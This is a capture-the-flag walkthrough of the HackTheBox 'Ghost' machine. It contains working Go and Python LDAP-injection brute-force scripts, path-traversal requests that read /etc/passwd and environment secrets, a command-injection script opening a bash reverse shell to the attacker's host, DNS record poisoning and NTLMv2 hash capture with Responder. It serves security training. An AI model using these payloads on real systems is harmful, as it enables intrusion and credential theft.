Ghost – HackTheBox Link to heading
- OS: Windows
- Difficulty: Insane
- Platform: HackTheBox
Synopsis Link to heading
“Ghost” is an Insane difficult machine from HackTheBox
platform. This machine focuses mainly on how to exploit a customized Ghost CMS
software that allows an attacker to read files (Local File Inclusion
) due to a custom configuration and command injection after a code analysis. It also teaches how to perform other attacks such as LDAP
Injections, modify DNS
records, code execution in MSSQL
service and Trust Forest Attacks
in an Active Directory
environment.
User Link to heading
Starting with Nmap
scan shows multiple ports open: 53
Domain Name System
(DNS
), 80
HTTP
, 88
Kerberos
, 135
Microsoft RPC
, 443
and 8008
HTTPs
, 445
Server Message Block
(SMB
), 1433
Microsoft SQL Server
(MSSQL
), 5895
Windows Remote Management
(WinRM
); among others:
❯ sudo nmap -sVC -p53,80,88,135,139,389,443,445,464,593,636,1433,2179,3268,3269,3389,5985,8008,8443,9389,49443,49664,49672,49680,63401,63446,63916 10.10.11.24
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-28 04:36 -03
Nmap scan report for ghost.htb (10.10.11.24)
Host is up (0.24s latency).
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-09-28 07:36:53Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: ghost.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.ghost.htb
| Subject Alternative Name: DNS:DC01.ghost.htb, DNS:ghost.htb
| Not valid before: 2024-06-19T15:45:56
|_Not valid after: 2124-06-19T15:55:55
|_ssl-date: TLS randomness does not represent time
443/tcp open https?
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: ghost.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.ghost.htb
| Subject Alternative Name: DNS:DC01.ghost.htb, DNS:ghost.htb
| Not valid before: 2024-06-19T15:45:56
|_Not valid after: 2124-06-19T15:55:55
|_ssl-date: TLS randomness does not represent time
1433/tcp open ms-sql-s Microsoft SQL Server 2022 16.00.1000.00; RC0+
| ms-sql-ntlm-info:
| 10.10.11.24:1433:
| Target_Name: GHOST
| NetBIOS_Domain_Name: GHOST
| NetBIOS_Computer_Name: DC01
| DNS_Domain_Name: ghost.htb
| DNS_Computer_Name: DC01.ghost.htb
| DNS_Tree_Name: ghost.htb
|_ Product_Version: 10.0.20348
|_ssl-date: 2024-09-28T07:38:31+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2024-09-28T07:13:17
|_Not valid after: 2054-09-28T07:13:17
| ms-sql-info:
| 10.10.11.24:1433:
| Version:
| name: Microsoft SQL Server 2022 RC0+
| number: 16.00.1000.00
| Product: Microsoft SQL Server 2022
| Service pack level: RC0
| Post-SP patches applied: true
|_ TCP port: 1433
2179/tcp open vmrdp?
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: ghost.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=DC01.ghost.htb
| Subject Alternative Name: DNS:DC01.ghost.htb, DNS:ghost.htb
| Not valid before: 2024-06-19T15:45:56
|_Not valid after: 2124-06-19T15:55:55
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: ghost.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.ghost.htb
| Subject Alternative Name: DNS:DC01.ghost.htb, DNS:ghost.htb
| Not valid before: 2024-06-19T15:45:56
|_Not valid after: 2124-06-19T15:55:55
|_ssl-date: TLS randomness does not represent time
3389/tcp open ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=DC01.ghost.htb
| Not valid before: 2024-06-16T15:49:55
|_Not valid after: 2024-12-16T15:49:55
| rdp-ntlm-info:
| Target_Name: GHOST
| NetBIOS_Domain_Name: GHOST
| NetBIOS_Computer_Name: DC01
| DNS_Domain_Name: ghost.htb
| DNS_Computer_Name: DC01.ghost.htb
| DNS_Tree_Name: ghost.htb
| Product_Version: 10.0.20348
|_ System_Time: 2024-09-28T07:37:54+00:00
|_ssl-date: 2024-09-28T07:38:31+00:00; +1s from scanner time.
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
8008/tcp open http nginx 1.18.0 (Ubuntu)
|_http-generator: Ghost 5.78
| http-robots.txt: 5 disallowed entries
|_/ghost/ /p/ /email/ /r/ /webmentions/receive/
|_http-title: Ghost
|_http-server-header: nginx/1.18.0 (Ubuntu)
8443/tcp open ssl/http nginx 1.18.0 (Ubuntu)
| tls-nextprotoneg:
|_ http/1.1
| tls-alpn:
|_ http/1.1
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=core.ghost.htb
| Subject Alternative Name: DNS:core.ghost.htb
| Not valid before: 2024-06-18T15:14:02
|_Not valid after: 2124-05-25T15:14:02
| http-title: Ghost Core
|_Requested resource was /login
|_http-server-header: nginx/1.18.0 (Ubuntu)
9389/tcp open mc-nmf .NET Message Framing
49443/tcp open unknown
49664/tcp open msrpc Microsoft Windows RPC
49672/tcp open msrpc Microsoft Windows RPC
49680/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
63401/tcp open msrpc Microsoft Windows RPC
63446/tcp open msrpc Microsoft Windows RPC
63916/tcp open msrpc Microsoft Windows RPC
Service Info: Host: DC01; OSs: Windows, Linux; CPE: cpe:/o:microsoft:windows, cpe:/o:linux:linux_kernel
Host script results:
| smb2-time:
| date: 2024-09-28T07:38:00
|_ start_date: N/A
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 112.99 seconds
From the scan, we note that we have a domain: ghost.htb
. We also have a Domain Controller and, in port 8443
we have a subdomain core.ghost.htb
. We guess we are against an Active Directory
environment.
Add this domain and subdomains to our /etc/hosts
file:
❯ echo '10.10.11.24 ghost.htb DC01.ghost.htb core.ghost.htb' | sudo tee -a /etc/hosts
Visiting ports 80
HTTP
and 443
HTTPs
do not show any webpage. There is also an HTTPs
webpage at port 8008
, but we are not able to get info. Finally, visiting the page in port 8443
shows something:
Clicking on Login using AD Federation
redirects to federation.ghost.htb
domain. Add this domain to our /etc/hosts
file as well. Once added and re-visiting it we have:
But simple credentials do not work here.
Apparently, this is an Active Directory Federation
panel to log:
Active Directory Federation Services
(AD FS
) is a single sign on (SSO
) feature developed by Microsoft
that provides safe, authenticated access to any domain, device, web application or system within the organization’s Active Directory
(AD
), as well as approved third-party systems.So it is a tool to add third party systems/devices to an AD
environment.
Visiting http://ghost.htb:8008
shows a kind of a blog:
We can read the text Powered by Ghost
. Searching what is ghost org
returns:
Ghost
is an open source content management system (CMS
) platform written in JavaScript
and distributed under the MIT License, designed to simplify the process of online publishing for individual bloggers as well as online publicationsBasically, Ghost CMS
is a Content Management System
as could be Joomla
, WordPress
and others. We don’t find any information useful in this site, but we will come back to it soon.
Looking again at Nmap
scan output, from scan to port 8008
, there is a /robots.txt
file with some entries:
❯ curl -s http://ghost.htb:8008/robots.txt
User-agent: *
Sitemap: http://ghost.htb/sitemap.xml
Disallow: /ghost/
Disallow: /p/
Disallow: /email/
Disallow: /r/
Disallow: /webmentions/receive/
Visiting http://ghost.htb:8008/ghost
redirects to http://ghost.htb:8008/#/signin
, a new login panel:
Searching for new subdomains that could be applying vhosting
in this port with ffuf
yields to:
❯ ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt:FUZZ -u http://ghost.htb:8008/ -H 'Host: FUZZ.ghost.htb' -fs 7676
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://ghost.htb:8008/
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
:: Header : Host: FUZZ.ghost.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 7676
________________________________________________
intranet [Status: 307, Size: 3968, Words: 52, Lines: 1, Duration: 221ms]
:: Progress: [4989/4989] :: Job [1/1] :: 22 req/sec :: Duration: [0:02:42] :: Errors: 2 ::
We have a domain: intranet.ghost.htb
. We add, again, this new subdomain to our /etc/hosts
file.
Once added, we visit http://intranet.ghost.htb:8008/
and we can see a new login panel:
(How many login panels will we find? D:)
Typical default credentials do not work either. If we intercept the request sent when we attempt to log in to this panel, we get the request:
POST /login HTTP/1.1
Host: intranet.ghost.htb:8008
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/x-component
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://intranet.ghost.htb:8008/login
Next-Action: c471eb076ccac91d6f828b671795550fd5925940
Next-Router-State-Tree: %5B%22%22%2C%7B%22children%22%3A%5B%22login%22%2C%7B%22children%22%3A%5B%22__PAGE__%22%2C%7B%7D%5D%7D%5D%7D%2Cnull%2Cnull%2Ctrue%5D
Content-Type: multipart/form-data; boundary=---------------------------416026015933733900362518892273
Content-Length: 436
Origin: http://intranet.ghost.htb:8008
DNT: 1
Connection: close
-----------------------------416026015933733900362518892273
Content-Disposition: form-data; name="1_ldap-username"
usertest
-----------------------------416026015933733900362518892273
Content-Disposition: form-data; name="1_ldap-secret"
passtest
-----------------------------416026015933733900362518892273
Content-Disposition: form-data; name="0"
[{},"$K1"]
-----------------------------416026015933733900362518892273--
The parameters being requested are called 1_ldap-username
and 1_ldap-secret
. Based on this, we suspect this might be vulnerable to LDAP Injection
. Based on how to bypass logins by HackTricks, we can just attempt to set as username
a wildcard *
and as secret *
as well. So as user and secret we pass both *
character. Using them in the panel works. We are inside the panel as kathryn.holland
user:
There is an info about a temporal user gitea_temp_principal
account:
Git Migration
We are currently migrating Gitea to Bitbucket.
Domain logins to Gitea have been disabled.
You can only login with the gitea_temp_principal account and its corresponding intranet token as password.
We can't post the password here for security reasons, but:
For IT: Ask sysadmins for the password.
For sysadmins: Look in LDAP for the attribute. You can also test the credentials by logging in to intranet.
Then, what we do is that we can logout from this panel and now pass the user gitea_temp_principal
and the secret *
. This allow us to log in as this new user (as can be seen at the top right text), but we don’t see anything new. I guess that, maybe, there is a gitea
or bitbucket
subdomain somewhere. For that, I just create a custom list with some subdomains and some fake ones, so I can filter by fake positives and check if these subdomains do exist with ffuf
again:
❯ cat templist.txt
test
test1
test2
test3
gitea
bitbucket
test4
❯ ffuf -w ./templist.txt:FUZZ -u http://ghost.htb:8008/ -H 'Host: FUZZ.ghost.htb' -fs 7676 -t 55
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://ghost.htb:8008/
:: Wordlist : FUZZ: /home/gunzf0x/HTB/HTBMachines/Insane/Ghost/content/templist.txt
:: Header : Host: FUZZ.ghost.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 55
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 7676
________________________________________________
gitea [Status: 200, Size: 13651, Words: 1050, Lines: 272, Duration: 176ms]
:: Progress: [7/7] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Errors: 0 ::
We find that gitea.ghost.htb
does exist in port 8008
.
Adding this new subdomain and visiting http://gitea.ghost.htb:8008/
shows a simple Gitea
panel:
But we are not able to create a user or see any exposed project. So we might need credentials for gitea_temp_principal
user mentioned previously.
Similar as we did for Analysis Machine, we can create a Python
or Go
script (in my case I created one in both languages because I am a nerd and wanted to practice Go
) to extract the credentials for this user. How? Let’s suppose that the password for a known username is securepa55w0rd
. In an LDAP Injection
we can then log in providing the username and the password s*
, or secure*
, or securepa*
and it will work. However, if we pass a*
, or anything*
, or secureaaaa*
as password/secret it won’t work. This is similar as wildcards (*
) works on Linux
. When the password is invalid we get the response Invalid combination of username and secret
. When we pass something correct (like *
alone), this text is not present. That’s the condition that tells us if the password is valid or not.
We use then this Go
script:
//usr/bin/go run $0 $@ ; exit
package main
import (
"bytes"
"compress/gzip"
"fmt"
"io"
"mime/multipart"
"net/http"
"strings"
)
// Function to send HTTP POST request with a custom ldapSecret
func sendPostRequest(ldapSecret string) (string, error) {
// Create a buffer to hold the body
var body bytes.Buffer
writer := multipart.NewWriter(&body)
// Set the boundary manually
boundary := "---------------------------25210098721522078059643854455"
writer.SetBoundary(boundary)
// Add form fields
writer.WriteField("1_ldap-username", "gitea_temp_principal")
writer.WriteField("1_ldap-secret", ldapSecret+"*")
writer.WriteField("0", `[{},"$K1"]`)
// Close the writer to finalize the multipart body
writer.Close()
// Create the request
req, err := http.NewRequest("POST", "http://intranet.ghost.htb:8008/login", &body)
if err != nil {
return "", fmt.Errorf("error creating request: %v", err)
}
// Add headers
req.Header.Set("User-Agent", "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0")
req.Header.Set("Accept", "text/x-component")
req.Header.Set("Accept-Language", "en-US,en;q=0.5")
req.Header.Set("Accept-Encoding", "gzip, deflate, br")
req.Header.Set("Referer", "http://intranet.ghost.htb:8008/login")
req.Header.Set("Next-Action", "c471eb076ccac91d6f828b671795550fd5925940")
req.Header.Set("Next-Router-State-Tree", "%5B%22%22%2C%7B%22children%22%3A%5B%22login%22%2C%7B%22children%22%3A%5B%22__PAGE__%22%2C%7B%7D%5D%7D%5D%7D%2Cnull%2Cnull%2Ctrue%5D")
req.Header.Set("Content-Type", fmt.Sprintf("multipart/form-data; boundary=%s", boundary))
req.Header.Set("Origin", "http://intranet.ghost.htb:8008")
req.Header.Set("DNT", "1")
req.Header.Set("Connection", "close")
// Send the request
client := &http.Client{}
resp, err := client.Do(req)
if err != nil {
return "", fmt.Errorf("error sending request: %v", err)
}
defer resp.Body.Close()
// Check for compressed content
var reader io.ReadCloser
switch resp.Header.Get("Content-Encoding") {
case "gzip":
reader, err = gzip.NewReader(resp.Body)
if err != nil {
return "", fmt.Errorf("error creating gzip reader: %v", err)
}
defer reader.Close()
default:
reader = resp.Body
}
// Read and return the decompressed response
respBody, err := io.ReadAll(reader)
if err != nil {
return "", fmt.Errorf("error reading response: %v", err)
}
return string(respBody), nil
}
func main() {
// Possible password characters
var charmap = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ#$%&/¿?¡!"
fmt.Println("[+] Extracting password/secret")
secret := ""
passwordFound := false
// Start bruteforcing
for !passwordFound {
for _, char := range charmap {
// Send HTTP Request
currentTry := secret + string(char)
response, err := sendPostRequest(currentTry)
fmt.Printf("\r[+] Attempting with password/secret: %s", currentTry)
// Check if we have errors in the request
if err != nil {
fmt.Println("Error:", err)
return
}
// Check if "Invalid combination" is in the response
if !strings.Contains(response, "Invalid combination") {
secret += string(char)
break
} else {
// If we are in the last character and it is not valid, we have ended
if string(char) == "!" {
passwordFound = true
break
}
continue
}
}
}
// Did we find the password? D:
if len(secret) == 0 {
fmt.Println("\n[-] Unable to find password.")
} else {
fmt.Println("\n[+] Password found: ", secret)
}
}
For those that prefer Python
, I also made this script that does exactly the same:
#!/usr/bin/python3
import requests
from requests_toolbelt.multipart.encoder import MultipartEncoder
import string
from pwn import log
from sys import exit as sys_exit
charmap = list(string.digits + string.ascii_letters + '!@#$%&/=¿?¡!')
def make_HTTP_request(secret_to_inject: str):
# Set parameters
url: str = "http://intranet.ghost.htb:8008/login"
headers = {
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0",
"Accept": "text/x-component",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate, br",
"Referer": "http://intranet.ghost.htb:8008/login",
"Next-Action": "c471eb076ccac91d6f828b671795550fd5925940",
"Next-Router-State-Tree": "%5B%22%22%2C%7B%22children%22%3A%5B%22login%22%2C%7B%22children%22%3A%5B%22__PAGE__%22%2C%7B%7D%5D%7D%5D%7D%2Cnull%2Cnull%2Ctrue%5D",
"Content-Type": "multipart/form-data; boundary=---------------------------25210098721522078059643854455",
"Origin": "http://intranet.ghost.htb:8008",
"DNT": "1",
"Connection": "close"
}
# Define the same multipart structure using requests_toolbelt's MultipartEncoder
multipart_data = MultipartEncoder(
fields={
"1_ldap-username": "gitea_temp_principal",
"1_ldap-secret": f"{secret_to_inject}*", # LDAP Injection
"0": '[{}, "$K1"]'
},
boundary='---------------------------25210098721522078059643854455'
)
headers["Content-Type"] = multipart_data.content_type
return requests.post(url, headers=headers, data=multipart_data.to_string())
secret: str = ''
log.info('Extracting secret/password...')
p1 = log.progress("Secret")
while True:
for char in charmap:
attempt = f"{secret}*"
p1.status(f"{secret}{char}")
r = make_HTTP_request(secret+char)
if not 'Invalid combination' in r.text:
secret += char
break
if r.status_code == 200 and ('Invalid combination of username and secret' in r.text):
continue
if r.status_code == 200:
print(f"[-] Weird response: {r.text!r}")
continue
else:
break
if len(secret) == 0:
p1.failure('No password recovered :(')
sys_exit(1)
p1.success(f"Password found: {secret}")
Running any of these scripts, after some time, we get:
❯ go run main.go
[+] Extracting password/secret
[+] Attempting with password/secret: szrr8kpc3z6onlqf!
[+] Password found: szrr8kpc3z6onlqf
We have a user and password: gitea_temp_principal:szrr8kpc3z6onlqf
If we use these credentials in Gitea
page they work. We are in:
We can see 2 repositories:
blog
and intranet
.
Analyzing the files for intranet
, more specifically for backend
directory, we are able to see a portion of Rust
code in the file:
http://gitea.ghost.htb:8008/ghost-dev/intranet/src/branch/main/backend/src/api/dev.rs
that shows:
use rocket::http::Status;
use rocket::Request;
use rocket::request::{FromRequest, Outcome};
pub(crate) mod scan;
pub struct DevGuard;
#[rocket::async_trait]
impl<'r> FromRequest<'r> for DevGuard {
type Error = ();
async fn from_request(request: &'r Request<'_>) -> Outcome<Self, Self::Error> {
let key = request.headers().get_one("X-DEV-INTRANET-KEY");
match key {
Some(key) => {
if key == std::env::var("DEV_INTRANET_KEY").unwrap() {
Outcome::Success(DevGuard {})
} else {
Outcome::Error((Status::Unauthorized, ()))
}
},
None => Outcome::Error((Status::Unauthorized, ()))
}
}
}
This is accepting a header parameter named X-DEV-INTRANET-KEY
and compares it with a key in the system. If the key is valid, then it uses DevGuard
struct to handle the authentication and allows the request to proceed. So, basically, if a correct key is passed through this DEV_INTRANET_KEY
it will continue with the request.
Searching for DevGuard
in Intranet
repository yields to the file:
http://gitea.ghost.htb:8008/ghost-dev/intranet/raw/branch/main/backend/src/api/dev/scan.rs
whose content is:
use std::process::Command;
use rocket::serde::json::Json;
use rocket::serde::Serialize;
use serde::Deserialize;
use crate::api::dev::DevGuard;
#[derive(Deserialize)]
pub struct ScanRequest {
url: String,
}
#[derive(Serialize)]
pub struct ScanResponse {
is_safe: bool,
// remove the following once the route is stable
temp_command_success: bool,
temp_command_stdout: String,
temp_command_stderr: String,
}
// Scans an url inside a blog post
// This will be called by the blog to ensure all URLs in posts are safe
#[post("/scan", format = "json", data = "<data>")]
pub fn scan(_guard: DevGuard, data: Json<ScanRequest>) -> Json<ScanResponse> {
// currently intranet_url_check is not implemented,
// but the route exists for future compatibility with the blog
let result = Command::new("bash")
.arg("-c")
.arg(format!("intranet_url_check {}", data.url))
.output();
match result {
Ok(output) => {
Json(ScanResponse {
is_safe: true,
temp_command_success: true,
temp_command_stdout: String::from_utf8(output.stdout).unwrap_or("".to_string()),
temp_command_stderr: String::from_utf8(output.stderr).unwrap_or("".to_string()),
})
}
Err(_) => Json(ScanResponse {
is_safe: true,
temp_command_success: false,
temp_command_stdout: "".to_string(),
temp_command_stderr: "".to_string(),
})
}
}
This code defines an endpoint for scanning URLs in blog posts (after the key has been verified by the first code shown). The important part here is that it is executing bash -c intranet_url_check [data_url]
. But this is not being sanitized, so we might be able to inject commands.
So far, we have found a way to inject code. However, we still need the correct key to pass DevGuard
permission. Hanging around these repositories, we can see that blog
repository has a JavaScript
file named post-public.js
. One of the lines shows something interesting:
<SNIP>
if (extra) {
const fs = require("fs");
if (fs.existsSync(extra)) {
const fileContent = fs.readFileSync("/var/lib/ghost/extra/" + extra, { encoding: "utf8" });
posts.meta.extra = { [extra]: fileContent };
}
}
return posts;
<SNIP>
Basically this parameter (fileContent
) is not being sanitized, and is being called as the parameter name extra
. Therefore we might attempt a Local File Inclusion
to read system files and, maybe, it can be used to obtain the DEV_INTRANET_KEY
variable.
Now, we can go back to the blog webpage http://ghost.htb:8008
. We start Burpsuite
to intercept the request for the blog and click on Forward
until we can see the only post available:
Then, with the Intercept in ON
mode, we click on the magnifying glass icon at top right side. We get a request:
OPTIONS /ghost/api/content/posts/?key=37395e9e872be56438c83aaca6&limit=10000&fields=id%2Cslug%2Ctitle%2Cexcerpt%2Curl%2Cupdated_at%2Cvisibility&order=updated_at%20DESC HTTP/1.1
Host: ghost.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Access-Control-Request-Method: GET
Access-Control-Request-Headers: accept-version
Referer: http://ghost.htb:8008/embarking-on-the-supernatural-journey-welcome-to-ghost/
Origin: http://ghost.htb:8008
DNT: 1
Connection: close
The request has a key: 37395e9e872be56438c83aaca6
and an API endpoint /ghost/api/content/posts/
.
Maybe we can use this key along with what we found in the .js
file in blog
repository at Gitea
to attempt to get some data:
❯ curl -s -X GET -G 'http://ghost.htb:8008//ghost/api/content/posts/?' --data-urlencode 'key=37395e9e872be56438c83aaca6' --data-urlencode 'extra=../../../../../../../etc/passwd'
<SNIP>
{"pagination":{"page":1,"limit":15,"pages":1,"total":1,"next":null,"prev":null},"extra":{"../../../../../../../etc/passwd":"root:x:0:0:root:/root:/bin/ash\nbin:x:1:1:bin:/bin:/sbin/nologin\ndaemon:x:2:2:daemon:/sbin:/sbin/nologin\nadm:x:3:4:adm:/var/adm:/sbin/nologin\nlp:x:4:7:lp:/var/spool/lpd:/sbin/nologin\nsync:x:5:0:sync:/sbin:/bin/sync\nshutdown:x:6:0:shutdown:/sbin:/sbin/shutdown\nhalt:x:7:0:halt:/sbin:/sbin/halt\nmail:x:8:12:mail:/var/mail:/sbin/nologin\nnews:x:9:13:news:/usr/lib/news:/sbin/nologin\nuucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin\noperator:x:11:0:operator:/root:/sbin/nologin\nman:x:13:15:man:/usr/man:/sbin/nologin\npostmaster:x:14:12:postmaster:/var/mail:/sbin/nologin\ncron:x:16:16:cron:/var/spool/cron:/sbin/nologin\nftp:x:21:21::/var/lib/ftp:/sbin/nologin\nsshd:x:22:22:sshd:/dev/null:/sbin/nologin\nat:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin\nsquid:x:31:31:Squid:/var/cache/squid:/sbin/nologin\nxfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin\ngames:x:35:35:games:/usr/games:/sbin/nologin\ncyrus:x:85:12::/usr/cyrus:/sbin/nologin\nvpopmail:x:89:89::/var/vpopmail:/sbin/nologin\nntp:x:123:123:NTP:/var/empty:/sbin/nologin\nsmmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin\nguest:x:405:100:guest:/dev/null:/sbin/nologin\nnobody:x:65534:65534:nobody:/:/sbin/nologin\nnode:x:1000:1000:Linux User,,,:/home/node:/bin/sh\n"}}}
It worked. We can read system files.
Now, we can attempt to view environment variables on the machine attempting to read /proc/self/environ
file:
❯ curl -s -X GET -G 'http://ghost.htb:8008//ghost/api/content/posts/?' --data-urlencode 'key=37395e9e872be56438c83aaca6' --data-urlencode 'extra=../../../../../../../proc/self/environ' | sed 's/\\u0000//g'
<SNIP>
":{"pagination":{"page":1,"limit":15,"pages":1,"total":1,"next":null,"prev":null},"extra":{"../../../../../../../proc/self/environ":"HOSTNAME=26ae7990f3dddatabase__debug=falseYARN_VERSION=1.22.19PWD=/var/lib/ghostNODE_ENV=productiondatabase__connection__filename=content/data/ghost.dbHOME=/home/nodedatabase__client=sqlite3url=http://ghost.htbDEV_INTRANET_KEY=!@yqr!X2kxmQ.@Xedatabase__useNullAsDefault=trueGHOST_CONTENT=/var/lib/ghost/contentSHLVL=0GHOST_CLI_VERSION=1.25.3GHOST_INSTALL=/var/lib/ghostPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binNODE_VERSION=18.19.0GHOST_VERSION=5.78.0"}}}
We are able to see something really interesting: DEV_INTRANET_KEY=!@yqr!X2kxmQ.@Xe
.
This is the key we have to use against /api-dev/scan
route for intranet.ghost.htb:8008
site. We can use a simple Python
code to get a reverse shell abusing the missconfiguration at DevGuard
struct found at Rust
code:
#!/usr/bin/python3
import requests
import argparse
parser = argparse.ArgumentParser(description='Revshell')
parser.add_argument('ip', type=str, help='IP to connect')
parser.add_argument('port', type=int, help='Listening port with "nc"')
args = parser.parse_args()
api_url = "http://intranet.ghost.htb:8008/api-dev/scan"
headers = {
"X-DEV-INTRANET-KEY": '!@yqr!X2kxmQ.@Xe', # Header checked by 'DevGuard' struct
"Content-Type": "application/json"
}
data = {
"url": f"; bash -c 'bash -i >& /dev/tcp/{args.ip}/{args.port} 0>&1'" # Command injection
}
print("[+] Sending payload...")
requests.post(api_url, headers=headers, json=data)
Start a listener with nc
on port 443
and execute the script:
❯ python3 connect_to_machine.py 10.10.16.5 443
[+] Sending payload...
and get a connection as root
user (clearly on a Docker
container):
❯ nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.16.5] from (UNKNOWN) [10.10.11.24] 49818
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@36b733906694:/app# whoami
whoami
root
We can then upload pspy
to the victim machine to see processes running in the background. Doing this we get:
root@36b733906694:/app# chmod +x /tmp/pspy64
root@36b733906694:/app# /tmp/pspy64
<SNIP>
2024/09/29 09:34:01 CMD: UID=0 PID=1576 | runc init
2024/09/29 09:34:01 CMD: UID=0 PID=1581 | sshpass -p xxxxxxxxxxxxxxxx ssh -o StrictHostKeyChecking no florence.ramirez@ghost.htb@dev-workstation echo 'uxLmt*udNc6t3HrF' | kinit
<SNIP>
where uxLmt*udNc6t3HrF
seems to be like a password for florence.ramirez
user.
We check if this password is valid through, for example, SMB
service with NetExec
:
❯ nxc smb 10.10.11.24 -u 'florence.ramirez' -p 'uxLmt*udNc6t3HrF'
SMB 10.10.11.24 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:ghost.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.24 445 DC01 [+] ghost.htb\florence.ramirez:uxLmt*udNc6t3HrF
and they are valid. We have credentials: florence.ramirez:uxLmt*udNc6t3HrF
.
These credentials are also valid through MSSQL
service. But attempting to gain system command execution with that service is futile.
If we go back to the intranet
page, there is a Forum
tab. Clicking on it shows:
We assume there is a script running pointing to bitbucket.ghost.htb
domain and making some kind of request to it (maybe it’s passing credentials).
We can then to modify the DNS
records in the AD
environment using dnstool.py
(that can be obtained from this Github repository). What we will do is attempting to modify the DNS
records. Therefore, when the request is sent to FQDN bitbucket.ghost.htb
, the server will think that this subdomain is an alias for our IP attacker address. We can do this running:
❯ python3 dnstool.py -u 'ghost.htb\florence.ramirez' -p 'uxLmt*udNc6t3HrF' -a add -r "bitbucket.ghost.htb" -t A -d 10.10.16.3 10.10.11.24
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[-] Adding new record
[+] LDAP operation completed successfully
where 10.10.16.3
is our attacker IP and 10.10.11.24
is DC IP (victim machine IP).
We can check if this has worked checking the DNS
records with a tool like nslookup
:
❯ nslookup bitbucket.ghost.htb 10.10.11.24
Server: 10.10.11.24
Address: 10.10.11.24#53
Name: bitbucket.ghost.htb
Address: 10.10.16.3
and our attacker IP address is there.
We can now start a spoofing for credentials using a tool like Responder
:
❯ sudo responder -I tun0 wvd
<SNIP>
[+] Listening for events...
[HTTP] NTLMv2 Client : 10.10.11.24
[HTTP] NTLMv2 Username : ghost\justin.bradley
[HTTP] NTLMv2 Hash : justin.bradley::ghost:e24e7edcdaff42cb:58C96CA696D155478B196604E834493C:0101000000000000568D64B8A917DB0143F1DE628EF8A3DA0000000002000800390035004800330001001E00570049004E002D005200570047005200430044005800350056004D0036000400140039003500480033002E004C004F00430041004C0003003400570049004E002D005200570047005200430044005800350056004D0036002E0039003500480033002E004C004F00430041004C000500140039003500480033002E004C004F00430041004C0008003000300000000000000000000000004000000320FFF67FCC88ADACADC251526E68ED6F83B404C5293EF5938DC0FA16ABEC800A001000000000000000000000000000000000000900300048005400540050002F006200690074006200750063006B00650074002E00670068006F00730074002E006800740062000000000000000000
We get an NTLMv2
hash for justin.bradley
user.
